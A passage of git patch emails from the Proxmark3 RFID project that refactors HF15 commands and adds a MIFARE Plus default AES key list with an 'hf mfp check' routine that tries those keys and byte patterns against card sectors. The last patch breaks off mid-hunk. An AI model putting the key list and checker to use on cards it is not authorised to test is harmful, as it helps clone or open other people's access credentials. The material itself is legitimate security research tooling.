client/cmdhf15.c | 16 ++++++++++++---- 3 files changed, 18 insertions(+), 7 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 8b4ff5dcc..2360c615d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,7 +3,9 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] - - Added `hf 15 writeafi`, `hf 15 writedsfid` and detailed info for SLIX2 tags in `hf 15 info`. Also did some refactoring in HF15 commands. (@grspy) + - Change `hf 15` - some refactoring (@grspy) + - Added `hf 15 writeafi` and `hf 15 writedsfid` (@grspy) + - Added detailed info for SLIX2 tags in `hf 15 info` (@grspy) - Fix hf list felica and hf felica sniff (@7homasSutter) - Added hf felica wrunencrypted (@7homasSutter) - Added hf felica rdunencrypted (@7homasSutter) diff --git a/armsrc/iso15693.c b/armsrc/iso15693.c index 3dc64b8b8..7ea08e59c 100644 --- a/armsrc/iso15693.c +++ b/armsrc/iso15693.c @@ -967,9 +967,10 @@ void BruteforceIso15693Afi(uint32_t speed) { Dbprintf("AFI = %i UID = %s", i, sprintUID(NULL, buf + 2)); } - if (BUTTON_PRESS()) { + aborted = BUTTON_PRESS(); + + if (aborted) { DbpString("button pressed, aborting.."); - aborted = true; break; } } diff --git a/client/cmdhf15.c b/client/cmdhf15.c index 8dba0d565..1650aefd4 100644 --- a/client/cmdhf15.c +++ b/client/cmdhf15.c @@ -951,6 +951,8 @@ static int CmdHF15Sim(const char *Cmd) { // helptext static int CmdHF15FindAfi(const char *Cmd) { PacketResponseNG resp; + uint32_t timeout = 0; + char cmdp = tolower(param_getchar(Cmd, 0)); if (cmdp == 'h') return usage_15_findafi(); @@ -959,13 +961,19 @@ static int CmdHF15FindAfi(const char *Cmd) { clearCommandBuffer(); SendCommandMIX(CMD_HF_ISO15693_FINDAFI, strtol(Cmd, NULL, 0), 0, 0, NULL, 0); - if (WaitForResponseTimeout(CMD_ACK, &resp, 120000)) { // 2 minutes should be enough - DropField(); - return resp.status; // PM3_EOPABORTED or PM3_SUCCESS + while (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { + timeout++; + + // should be done in about 2 minutes + if (timeout > 180) { + PrintAndLogEx(WARNING, "\nNo response from Proxmark3. Aborting..."); + DropField(); + return PM3_ETIMEOUT; + } } DropField(); - return PM3_ETIMEOUT; + return resp.status; // PM3_EOPABORTED or PM3_SUCCESS } // Writes the AFI (Application Family Identifier) of a card From 8cb28a21c6a5cc3bfcca4a2a1db2d3fdcca7f4f0 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Thu, 28 Nov 2019 00:48:39 +0200 Subject: [PATCH 020/418] add mfp default keys --- client/mifare/mifaredefault.c | 39 +++++++++++++++++++++++++++++++++++ client/mifare/mifaredefault.h | 3 +++ 2 files changed, 42 insertions(+) create mode 100644 client/mifare/mifaredefault.c diff --git a/client/mifare/mifaredefault.c b/client/mifare/mifaredefault.c new file mode 100644 index 000000000..9d3b77d4f --- /dev/null +++ b/client/mifare/mifaredefault.c @@ -0,0 +1,39 @@ +//----------------------------------------------------------------------------- +// Copyright (C) 2017 Merlok +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// Mifare default constants +//----------------------------------------------------------------------------- + +#include "mifaredefault.h" +#include "commonutil.h" // ARRAYLEN + +const char* g_mifare_plus_default_keys[] = { + "ffffffffffffffffffffffffffffffff", // default key + "00000000000000000000000000000000", + "a0a1a2a3a4a5a6a7a0a1a2a3a4a5a6a7", // MAD key + "b0b1b2b3b4b5b6b7b0b1b2b3b4b5b6b7", + "d3f7d3f7d3f7d3f7d3f7d3f7d3f7d3f7", // NDEF key + "11111111111111111111111111111111", + "22222222222222222222222222222222", + "33333333333333333333333333333333", + "44444444444444444444444444444444", + "55555555555555555555555555555555", + "66666666666666666666666666666666", + "77777777777777777777777777777777", + "88888888888888888888888888888888", + "99999999999999999999999999999999", + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb", + "cccccccccccccccccccccccccccccccc", + "dddddddddddddddddddddddddddddddd", + "eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee", + "000102030405060708090a0b0c0d0e0f", + "0102030405060708090a0b0c0d0e0f10", + "00010203040506070809101112131415", + "01020304050607080910111213141516" +}; +size_t g_mifare_plus_default_keys_len = ARRAYLEN(g_mifare_plus_default_keys); \ No newline at end of file diff --git a/client/mifare/mifaredefault.h b/client/mifare/mifaredefault.h index 7232510a0..fdccfe22b 100644 --- a/client/mifare/mifaredefault.h +++ b/client/mifare/mifaredefault.h @@ -44,4 +44,7 @@ static const uint8_t g_mifare_ndef_key[] = {0xd3, 0xf7, 0xd3, 0xf7, 0xd3, 0xf7}; static const uint8_t g_mifarep_mad_key[] = {0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7, 0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7}; static const uint8_t g_mifarep_ndef_key[] = {0xd3, 0xf7, 0xd3, 0xf7, 0xd3, 0xf7, 0xd3, 0xf7, 0xd3, 0xf7, 0xd3, 0xf7, 0xd3, 0xf7, 0xd3, 0xf7}; +extern const char* g_mifare_plus_default_keys[]; +extern size_t g_mifare_plus_default_keys_len; + #endif From 17a2379ddd8f2eb8b1564794daca157441859d67 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Thu, 28 Nov 2019 00:49:12 +0200 Subject: [PATCH 021/418] hf mfp check sketch --- client/Makefile | 1 + client/cmdhf14a.c | 23 ++++++++------- client/cmdhf14a.h | 2 +- client/cmdhfmf.c | 4 +-- client/cmdhfmfp.c | 62 +++++++++++++++++++++++++++++++---------- client/mifare/mifare4.c | 37 +++++++++++++----------- client/mifare/mifare4.h | 2 +- 7 files changed, 84 insertions(+), 47 deletions(-) diff --git a/client/Makefile b/client/Makefile index a6d987560..4babb528f 100644 --- a/client/Makefile +++ b/client/Makefile @@ -134,6 +134,7 @@ CORESRCS = uart_posix.c \ CMDSRCS = crapto1/crapto1.c \ crapto1/crypto1.c \ + mifare/mifaredefault.c \ mifare/mfkey.c \ tea.c \ fido/additional_ca.c \ diff --git a/client/cmdhf14a.c b/client/cmdhf14a.c index 777b7d25c..9c1004439 100644 --- a/client/cmdhf14a.c +++ b/client/cmdhf14a.c @@ -551,30 +551,29 @@ int CmdHF14ASniff(const char *Cmd) { return PM3_SUCCESS; } -int ExchangeRAW14a(uint8_t *datain, int datainlen, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen) { +int ExchangeRAW14a(uint8_t *datain, int datainlen, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen, bool silentMode) { static uint8_t responseNum = 0; uint16_t cmdc = 0; *dataoutlen = 0; if (activateField) { - responseNum = 1; PacketResponseNG resp; // Anticollision + SELECT card SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_CONNECT | ISO14A_NO_DISCONNECT, 0, 0, NULL, 0); if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { - PrintAndLogEx(ERR, "Proxmark3 connection timeout."); + if (!silentMode) PrintAndLogEx(ERR, "Proxmark3 connection timeout."); return 1; } // check result if (resp.oldarg[0] == 0) { - PrintAndLogEx(ERR, "No card in field."); + if (!silentMode) PrintAndLogEx(ERR, "No card in field."); return 1; } if (resp.oldarg[0] != 1 && resp.oldarg[0] != 2) { - PrintAndLogEx(ERR, "Card not in iso14443-4. res=%" PRId64 ".", resp.oldarg[0]); + if (!silentMode) PrintAndLogEx(ERR, "Card not in iso14443-4. res=%" PRId64 ".", resp.oldarg[0]); return 1; } @@ -583,12 +582,12 @@ int ExchangeRAW14a(uint8_t *datain, int datainlen, bool activateField, bool leav uint8_t rats[] = { 0xE0, 0x80 }; // FSDI=8 (FSD=256), CID=0 SendCommandOLD(CMD_HF_ISO14443A_READER, ISO14A_RAW | ISO14A_APPEND_CRC | ISO14A_NO_DISCONNECT, 2, 0, rats, 2); if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { - PrintAndLogEx(ERR, "Proxmark3 connection timeout."); + if (!silentMode) PrintAndLogEx(ERR, "Proxmark3 connection timeout."); return 1; } if (resp.oldarg[0] == 0) { // ats_len - PrintAndLogEx(ERR, "Can't get ATS."); + if (!silentMode) PrintAndLogEx(ERR, "Can't get ATS."); return 1; } } @@ -610,7 +609,7 @@ int ExchangeRAW14a(uint8_t *datain, int datainlen, bool activateField, bool leav int iLen = resp.oldarg[0]; if (!iLen) { - PrintAndLogEx(ERR, "No card response."); + if (!silentMode) PrintAndLogEx(ERR, "No card response."); return 1; } @@ -619,12 +618,12 @@ int ExchangeRAW14a(uint8_t *datain, int datainlen, bool activateField, bool leav *dataoutlen = 0; if (maxdataoutlen && *dataoutlen > maxdataoutlen) { - PrintAndLogEx(ERR, "Buffer too small(%d). Needs %d bytes", *dataoutlen, maxdataoutlen); + if (!silentMode) PrintAndLogEx(ERR, "Buffer too small(%d). Needs %d bytes", *dataoutlen, maxdataoutlen); return 2; } if (recv[0] != data[0]) { - PrintAndLogEx(ERR, "iso14443-4 framing error. Card send %2x must be %2x", dataout[0], data[0]); + if (!silentMode) PrintAndLogEx(ERR, "iso14443-4 framing error. Card send %2x must be %2x", dataout[0], data[0]); return 2; } @@ -632,12 +631,12 @@ int ExchangeRAW14a(uint8_t *datain, int datainlen, bool activateField, bool leav // CRC Check if (iLen == -1) { - PrintAndLogEx(ERR, "ISO 14443A CRC error."); + if (!silentMode) PrintAndLogEx(ERR, "ISO 14443A CRC error."); return 3; } } else { - PrintAndLogEx(ERR, "Reply timeout."); + if (!silentMode) PrintAndLogEx(ERR, "Reply timeout."); return 4; } diff --git a/client/cmdhf14a.h b/client/cmdhf14a.h index fcea5f5cf..f40ea46f0 100644 --- a/client/cmdhf14a.h +++ b/client/cmdhf14a.h @@ -30,6 +30,6 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search); const char *getTagInfo(uint8_t uid); int Hf14443_4aGetCardData(iso14a_card_select_t *card); int ExchangeAPDU14a(uint8_t *datain, int datainlen, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen); -int ExchangeRAW14a(uint8_t *datain, int datainlen, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen); +int ExchangeRAW14a(uint8_t *datain, int datainlen, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen, bool silentMode); #endif diff --git a/client/cmdhfmf.c b/client/cmdhfmf.c index 23b418599..ad6fe31b2 100644 --- a/client/cmdhfmf.c +++ b/client/cmdhfmf.c @@ -13,7 +13,7 @@ #include #include "cmdparser.h" // command_t -#include "commonutil.h" // ARRAYLEN +#include "commonutil.h" // ARRAYLEN #include "comms.h" // clearCommandBuffer #include "fileutils.h" #include "cmdtrace.h" @@ -4211,7 +4211,7 @@ static int CmdHF14AMfAuth4(const char *Cmd) { return PM3_ESOFT; } - return MifareAuth4(NULL, keyn, key, true, false, true); + return MifareAuth4(NULL, keyn, key, true, false, true, true, false); } // https://www.nxp.com/docs/en/application-note/AN10787.pdf diff --git a/client/cmdhfmfp.c b/client/cmdhfmfp.c index c6af6305a..affd9dd6c 100644 --- a/client/cmdhfmfp.c +++ b/client/cmdhfmfp.c @@ -88,7 +88,7 @@ static int CmdHFMFPInfo(const char *cmd) { int datalen = 0; // https://github.com/Proxmark/proxmark3/blob/master/client/luascripts/mifarePlus.lua#L161 uint8_t cmd[3 + 16] = {0xa8, 0x90, 0x90, 0x00}; - int res = ExchangeRAW14a(cmd, sizeof(cmd), false, false, data, sizeof(data), &datalen); + int res = ExchangeRAW14a(cmd, sizeof(cmd), false, false, data, sizeof(data), &datalen, false); if (!res && datalen > 1 && data[0] == 0x09) { SLmode = 0; } @@ -105,7 +105,7 @@ static int CmdHFMFPInfo(const char *cmd) { DropField(); - return 0; + return PM3_SUCCESS; } static int CmdHFMFPWritePerso(const char *cmd) { @@ -169,7 +169,7 @@ static int CmdHFMFPWritePerso(const char *cmd) { } PrintAndLogEx(INFO, "Write OK."); - return 0; + return PM3_SUCCESS; } uint16_t CardAddresses[] = {0x9000, 0x9001, 0x9002, 0x9003, 0x9004, 0xA000, 0xA001, 0xA080, 0xA081, 0xC000, 0xC001}; @@ -245,7 +245,7 @@ static int CmdHFMFPInitPerso(const char *cmd) { PrintAndLogEx(INFO, "Done."); - return 0; + return PM3_SUCCESS; } static int CmdHFMFPCommitPerso(const char *cmd) { @@ -286,7 +286,7 @@ static int CmdHFMFPCommitPerso(const char *cmd) { } PrintAndLogEx(INFO, "Switch level OK."); - return 0; + return PM3_SUCCESS; } static int CmdHFMFPAuth(const char *cmd) { @@ -324,7 +324,7 @@ static int CmdHFMFPAuth(const char *cmd) { return 1; } - return MifareAuth4(NULL, keyn, key, true, false, verbose); + return MifareAuth4(NULL, keyn, key, true, false, true, verbose, false); } static int CmdHFMFPRdbl(const char *cmd) { @@ -392,7 +392,7 @@ static int CmdHFMFPRdbl(const char *cmd) { PrintAndLogEx(INFO, "--block:%d sector[%d]:%02x key:%04x", blockn, mfNumBlocksPerSector(sectorNum), sectorNum, uKeyNum); mf4Session mf4session; - int res = MifareAuth4(&mf4session, keyn, key, true, true, verbose); + int res = MifareAuth4(&mf4session, keyn, key, true, true, true, verbose, false); if (res) { PrintAndLogEx(ERR, "Authentication error: %d", res); return res; @@ -491,7 +491,7 @@ static int CmdHFMFPRdsc(const char *cmd) { PrintAndLogEx(INFO, "--sector[%d]:%02x key:%04x", mfNumBlocksPerSector(sectorNum), sectorNum, uKeyNum); mf4Session mf4session; - int res = MifareAuth4(&mf4session, keyn, key, true, true, verbose); + int res = MifareAuth4(&mf4session, keyn, key, true, true, true, verbose, false); if (res) { PrintAndLogEx(ERR, "Authentication error: %d", res); return res; @@ -532,7 +532,7 @@ static int CmdHFMFPRdsc(const char *cmd) { } DropField(); - return 0; + return PM3_SUCCESS; } static int CmdHFMFPWrbl(const char *cmd) { @@ -595,7 +595,7 @@ static int CmdHFMFPWrbl(const char *cmd) { PrintAndLogEx(INFO, "--block:%d sector[%d]:%02x key:%04x", blockNum & 0xff, mfNumBlocksPerSector(sectorNum), sectorNum, uKeyNum); mf4Session mf4session; - int res = MifareAuth4(&mf4session, keyn, key, true, true, verbose); + int res = MifareAuth4(&mf4session, keyn, key, true, true, true, verbose, false); if (res) { PrintAndLogEx(ERR, "Authentication error: %d", res); return res; @@ -634,7 +634,40 @@ static int CmdHFMFPWrbl(const char *cmd) { DropField(); PrintAndLogEx(INFO, "Write OK."); - return 0; + return PM3_SUCCESS; +} + +static int CmdHFMFPChk() { + int res; + bool selectCard = true; + + uint8_t startSector = 0; + uint8_t endSector = 0; + uint8_t startKeyAB = 0; + uint8_t endKeyAB = 0; + + + uint8_t keyn[2] = {0}; + uint8_t key[16] = {0}; + // sector number from 0 + for (uint8_t sector = startSector; sector <= endSector; sector++) { + // 0-keyA 1-keyB + for(uint8_t keyAB = startKeyAB; keyAB <= endKeyAB; keyAB++) { + // main cycle with key check + for (int i = 0; i < g_mifare_plus_default_keys_len; i++) { + uint16_t uKeyNum = 0x4000 + sector * 2 + keyAB; + keyn[0] = uKeyNum >> 8; + keyn[1] = uKeyNum & 0xff; + res = MifareAuth4(NULL, keyn, key, selectCard, true, false, false, true); + selectCard = false; + PrintAndLogEx(WARNING, "sector %d key %d [%s] res: %d", sector, key, g_mifare_plus_default_keys[i], res); + } + } + } + + DropField(); + + return PM3_SUCCESS; } static int CmdHFMFPMAD(const char *cmd) { @@ -728,7 +761,7 @@ static int CmdHFMFPMAD(const char *cmd) { } } - return 0; + return PM3_SUCCESS; } static int CmdHFMFPNDEF(const char *cmd) { @@ -832,7 +865,7 @@ static int CmdHFMFPNDEF(const char *cmd) { NDEFDecodeAndPrint(data, datalen, verbose); - return 0; + return PM3_SUCCESS; } static command_t CommandTable[] = { @@ -845,6 +878,7 @@ static command_t CommandTable[] = { {"rdbl", CmdHFMFPRdbl, IfPm3Iso14443a, "Read blocks"}, {"rdsc", CmdHFMFPRdsc, IfPm3Iso14443a, "Read sectors"}, {"wrbl", CmdHFMFPWrbl, IfPm3Iso14443a, "Write blocks"}, + {"chk", CmdHFMFPChk, IfPm3Iso14443a, "Check keys"}, {"mad", CmdHFMFPMAD, IfPm3Iso14443a, "Checks and prints MAD"}, {"ndef", CmdHFMFPNDEF, IfPm3Iso14443a, "Prints NDEF records from card"}, {NULL, NULL, 0, NULL} @@ -853,7 +887,7 @@ static command_t CommandTable[] = { static int CmdHelp(const char *Cmd) { (void)Cmd; // Cmd is not used so far CmdsHelp(CommandTable); - return 0; + return PM3_SUCCESS; } int CmdHFMFP(const char *Cmd) { diff --git a/client/mifare/mifare4.c b/client/mifare/mifare4.c index 5cdca2e14..7eecbe751 100644 --- a/client/mifare/mifare4.c +++ b/client/mifare/mifare4.c @@ -168,21 +168,24 @@ int CalculateMAC(mf4Session *session, MACType_t mtype, uint8_t blockNum, uint8_t return aes_cmac8(NULL, session->Kmac, macdata, mac, macdatalen); } -int MifareAuth4(mf4Session *session, uint8_t *keyn, uint8_t *key, bool activateField, bool leaveSignalON, bool verbose) { +int MifareAuth4(mf4Session *session, uint8_t *keyn, uint8_t *key, bool activateField, bool leaveSignalON, bool dropFieldIfError, bool verbose, bool silentMode) { uint8_t data[257] = {0}; int datalen = 0; uint8_t RndA[17] = {0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f, 0x00}; uint8_t RndB[17] = {0}; + if (silentMode) + verbose = false; + if (session) session->Authenticated = false; uint8_t cmd1[] = {0x70, keyn[1], keyn[0], 0x00}; - int res = ExchangeRAW14a(cmd1, sizeof(cmd1), activateField, true, data, sizeof(data), &datalen); + int res = ExchangeRAW14a(cmd1, sizeof(cmd1), activateField, true, data, sizeof(data), &datalen, silentMode); if (res) { - PrintAndLogEx(ERR, "Exchande raw error: %d", res); - DropField(); + if (!silentMode) PrintAndLogEx(ERR, "Exchande raw error: %d", res); + if (dropFieldIfError) DropField(); return 2; } @@ -190,20 +193,20 @@ int MifareAuth4(mf4Session *session, uint8_t *keyn, uint8_t *key, bool activateF PrintAndLogEx(INFO, "phase2: %s", sprint_hex(cmd2, 33)); - res = ExchangeRAW14a(cmd2, sizeof(cmd2), false, true, data, sizeof(data), &datalen); + res = ExchangeRAW14a(cmd2, sizeof(cmd2), false, true, data, sizeof(data), &datalen, silentMode); if (res) { - PrintAndLogEx(ERR, "Exchande raw error: %d", res); - DropField(); + if (!silentMode) PrintAndLogEx(ERR, "Exchande raw error: %d", res); + if (dropFieldIfError) DropField(); return 4; } @@ -241,12 +244,12 @@ int MifareAuth4(mf4Session *session, uint8_t *keyn, uint8_t *key, bool activateF } if (memcmp(&raw[4], &RndA[1], 16)) { - PrintAndLogEx(ERR, "\nAuthentication FAILED. rnd not equal"); + if (!silentMode) PrintAndLogEx(ERR, "\nAuthentication FAILED. rnd is not equal"); if (verbose) { PrintAndLogEx(ERR, "RndA reader: %s", sprint_hex(&RndA[1], 16)); PrintAndLogEx(ERR, "RndA card: %s", sprint_hex(&raw[4], 16)); } - DropField(); + if (dropFieldIfError) DropField(); return 5; } @@ -311,7 +314,7 @@ static int intExchangeRAW14aPlus(uint8_t *datain, int datainlen, bool activateFi if (VerboseMode) PrintAndLogEx(INFO, ">>> %s", sprint_hex(datain, datainlen)); - int res = ExchangeRAW14a(datain, datainlen, activateField, leaveSignalON, dataout, maxdataoutlen, dataoutlen); + int res = ExchangeRAW14a(datain, datainlen, activateField, leaveSignalON, dataout, maxdataoutlen, dataoutlen, false); if (VerboseMode) PrintAndLogEx(INFO, "<<< %s", sprint_hex(dataout, *dataoutlen)); @@ -380,7 +383,7 @@ int mfpReadSector(uint8_t sectorNo, uint8_t keyType, uint8_t *key, uint8_t *data PrintAndLogEx(INFO, "--sector[%d]:%02x key:%04x", mfNumBlocksPerSector(sectorNo), sectorNo, uKeyNum); mf4Session session; - int res = MifareAuth4(&session, keyn, key, true, true, verbose); + int res = MifareAuth4(&session, keyn, key, true, true, true, verbose, false); if (res) { PrintAndLogEx(ERR, "Sector %d authentication error: %d", sectorNo, res); return res; diff --git a/client/mifare/mifare4.h b/client/mifare/mifare4.h index 31eac1fdb..fe07aceaf 100644 --- a/client/mifare/mifare4.h +++ b/client/mifare/mifare4.h @@ -45,7 +45,7 @@ void mfpSetVerboseMode(bool verbose); const char *mfpGetErrorDescription(uint8_t errorCode); int CalculateMAC(mf4Session *session, MACType_t mtype, uint8_t blockNum, uint8_t blockCount, uint8_t *data, int datalen, uint8_t *mac, bool verbose); -int MifareAuth4(mf4Session *session, uint8_t *keyn, uint8_t *key, bool activateField, bool leaveSignalON, bool verbose); +int MifareAuth4(mf4Session *session, uint8_t *keyn, uint8_t *key, bool activateField, bool leaveSignalON, bool dropFieldIfError, bool verbose, bool silentMode); int MFPWritePerso(uint8_t *keyNum, uint8_t *key, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen); int MFPCommitPerso(bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen); From 698b4a5f6410fe5d7f398d84b08d4761a5886235 Mon Sep 17 00:00:00 2001 From: Iceman Date: Thu, 28 Nov 2019 09:15:03 +0100 Subject: [PATCH 022/418] Update jtag_notes.md --- doc/jtag_notes.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/doc/jtag_notes.md b/doc/jtag_notes.md index 8e31f1112..5f59aa5e2 100644 --- a/doc/jtag_notes.md +++ b/doc/jtag_notes.md @@ -63,6 +63,9 @@ GND | 6 ## Third party notes on using a BusPirate * https://github.com/Proxmark/proxmark3/wiki/Debricking-Proxmark3-with-buspirate +* https://b4cktr4ck2.github.io/De-Brickify-Pm3-RDV2/ +* https://scund00r.com/all/rfid/2018/05/18/debrick-proxmark.html +* https://joanbono.github.io/PoC/Flashing_Proxmark3.html ## Third party notes on using a J-Link From 0fb7f98fc2fba780bdf3bcf2ed93debedf18033a Mon Sep 17 00:00:00 2001 From: Iceman Date: Thu, 28 Nov 2019 09:15:19 +0100 Subject: [PATCH 023/418] Update jtag_notes.md --- doc/jtag_notes.md | 2 -- 1 file changed, 2 deletions(-) diff --git a/doc/jtag_notes.md b/doc/jtag_notes.md index 5f59aa5e2..42001d91d 100644 --- a/doc/jtag_notes.md +++ b/doc/jtag_notes.md @@ -75,8 +75,6 @@ GND | 6 * http://www.lucasoldi.com/2017/01/17/unbrick-proxmark3-with-a-raspberry-pi-and-openocd/ -# Windows - ## Third party notes on using a J-Link on Windows * https://github.com/Proxmark/proxmark3/wiki/De-Bricking-Segger From 133d59e4830eb700a216c9bf58f401ee925e4132 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Thu, 28 Nov 2019 14:16:53 +0200 Subject: [PATCH 024/418] added command parsing and result printing --- client/cmdhfmfp.c | 79 +++++++++++++++++++++++++++++++++++++++++++---- 1 file changed, 73 insertions(+), 6 deletions(-) diff --git a/client/cmdhfmfp.c b/client/cmdhfmfp.c index affd9dd6c..f5d122991 100644 --- a/client/cmdhfmfp.c +++ b/client/cmdhfmfp.c @@ -637,16 +637,47 @@ static int CmdHFMFPWrbl(const char *cmd) { return PM3_SUCCESS; } -static int CmdHFMFPChk() { +static int CmdHFMFPChk(const char *cmd) { int res; bool selectCard = true; + char* foundKeys[2][64] = {NULL}; - uint8_t startSector = 0; - uint8_t endSector = 0; + CLIParserInit("hf mfp check", + "Checks keys with Mifare Plus card.", + "Usage:\n\thf mfp check -k 000102030405060708090a0b0c0d0e0f -> check key on sector 0 as key A and B\n" + "\thf mfp check -s 2 -a -> check default key list \n"); + + void *argtable[] = { + arg_param_begin, + arg_lit0("aA", "keya", "check only key A (by default check all keys)."), + arg_lit0("bB", "keyb", "check only key B (by default check all keys)."), + arg_int0("sS", "startsec", "Start sector Num (0..255)", NULL), + arg_int0("eE", "endsec", "End sector Num (0..255)", NULL), + arg_str0("kK", "key", "", NULL), + arg_str0(NULL, NULL, "", NULL), + arg_param_end + }; + CLIExecWithReturn(cmd, argtable, true); + + bool keyA = arg_get_lit(1); + bool keyB = arg_get_lit(2); + uint8_t startSector = arg_get_int_def(3, 0); + uint8_t endSector = arg_get_int_def(4, 0); + uint8_t vkey[16] = {0}; + int vkeylen = 0; + CLIGetHexWithReturn(5, vkey, &vkeylen); + CLIParserFree(); + uint8_t startKeyAB = 0; - uint8_t endKeyAB = 0; - + uint8_t endKeyAB = 1; + if (keyA && !keyB) + endKeyAB = 0; + if (!keyA && keyB) + startKeyAB = 1; + if (endSector < startSector) + endSector = startSector; + uint8_t keyn[2] = {0}; uint8_t key[16] = {0}; // sector number from 0 @@ -655,17 +686,53 @@ static int CmdHFMFPChk() { for(uint8_t keyAB = startKeyAB; keyAB <= endKeyAB; keyAB++) { // main cycle with key check for (int i = 0; i < g_mifare_plus_default_keys_len; i++) { + int datalen = 0; + if (param_gethex_to_eol((char *)g_mifare_plus_default_keys[i], 0, (uint8_t *)key, 16, &datalen) > 0) + break; + if (datalen != 16) + break; + uint16_t uKeyNum = 0x4000 + sector * 2 + keyAB; keyn[0] = uKeyNum >> 8; keyn[1] = uKeyNum & 0xff; res = MifareAuth4(NULL, keyn, key, selectCard, true, false, false, true); + if (res == 0) { + PrintAndLogEx(INFO, "Found key for sector %d key %s [%s]", sector, keyAB == 0 ? "A" : "B", sprint_hex_inrow(key, 16)); + foundKeys[keyAB][sector] = (char*)g_mifare_plus_default_keys[i]; + break; + } + + if (res != 5) + break; + selectCard = false; - PrintAndLogEx(WARNING, "sector %d key %d [%s] res: %d", sector, key, g_mifare_plus_default_keys[i], res); + PrintAndLogEx(WARNING, "sector %d key %d [%s] res: %d", sector, keyAB, sprint_hex_inrow(key, 16), res); } } } DropField(); + + // print result + bool printedHeader = false; + for (uint8_t sector = startSector; sector <= endSector; sector++) { + if (foundKeys[0][sector] != NULL || foundKeys[1][sector] != NULL) { + if (!printedHeader) { + PrintAndLogEx(INFO, ".------.--------------------------------.--------------------------------."); + PrintAndLogEx(INFO, "|sector| key A | key B |"); + PrintAndLogEx(INFO, "|------|--------------------------------|--------------------------------|"); + printedHeader = true; + } + PrintAndLogEx(INFO, "| %02d |%32s|%32s|", + sector, + (foundKeys[0][sector] == NULL) ? "----- " : foundKeys[0][sector], + (foundKeys[1][sector] == NULL) ? "----- " : foundKeys[1][sector]); + } + } + if (!printedHeader) + PrintAndLogEx(INFO, "No keys found("); + else + PrintAndLogEx(INFO, "'------'--------------------------------'--------------------------------'"); return PM3_SUCCESS; } From 2c101ebbb9a2dd79afac5417bcc91a4152c84065 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Thu, 28 Nov 2019 15:16:11 +0200 Subject: [PATCH 025/418] internal keys search works --- client/cmdhfmfp.c | 17 +++++++++++++---- 1 file changed, 13 insertions(+), 4 deletions(-) diff --git a/client/cmdhfmfp.c b/client/cmdhfmfp.c index f5d122991..c3944e12d 100644 --- a/client/cmdhfmfp.c +++ b/client/cmdhfmfp.c @@ -25,6 +25,7 @@ #include "cliparser/cliparser.h" #include "emv/dump.h" #include "mifare/mifaredefault.h" +#include "util_posix.h" static const uint8_t DefaultKey[16] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; @@ -645,7 +646,7 @@ static int CmdHFMFPChk(const char *cmd) { CLIParserInit("hf mfp check", "Checks keys with Mifare Plus card.", "Usage:\n\thf mfp check -k 000102030405060708090a0b0c0d0e0f -> check key on sector 0 as key A and B\n" - "\thf mfp check -s 2 -a -> check default key list \n"); + "\thf mfp check -s 2 -a -> check default key list on sector 2, key A\n"); void *argtable[] = { arg_param_begin, @@ -655,6 +656,8 @@ static int CmdHFMFPChk(const char *cmd) { arg_int0("eE", "endsec", "End sector Num (0..255)", NULL), arg_str0("kK", "key", "", NULL), arg_str0(NULL, NULL, "", NULL), + arg_lit0(NULL, "pattern1b", "check all 1-byte combinations of key (0000...0000, 0101...0101, 0202...0202, ...)"), + arg_lit0(NULL, "pattern2b", "check all 2-byte combinations of key (0000...0000, 0001...0001, 0002...0002, ...)"), arg_param_end }; CLIExecWithReturn(cmd, argtable, true); @@ -666,6 +669,8 @@ static int CmdHFMFPChk(const char *cmd) { uint8_t vkey[16] = {0}; int vkeylen = 0; CLIGetHexWithReturn(5, vkey, &vkeylen); + bool pattern1b = arg_get_lit(7); + bool pattern2b = arg_get_lit(8); CLIParserFree(); uint8_t startKeyAB = 0; @@ -695,10 +700,15 @@ static int CmdHFMFPChk(const char *cmd) { uint16_t uKeyNum = 0x4000 + sector * 2 + keyAB; keyn[0] = uKeyNum >> 8; keyn[1] = uKeyNum & 0xff; + res = MifareAuth4(NULL, keyn, key, selectCard, true, false, false, true); + PrintAndLogEx(WARNING, "sector %d key %d [%s] res: %d", sector, keyAB, sprint_hex_inrow(key, 16), res); if (res == 0) { PrintAndLogEx(INFO, "Found key for sector %d key %s [%s]", sector, keyAB == 0 ? "A" : "B", sprint_hex_inrow(key, 16)); foundKeys[keyAB][sector] = (char*)g_mifare_plus_default_keys[i]; + DropField(); + 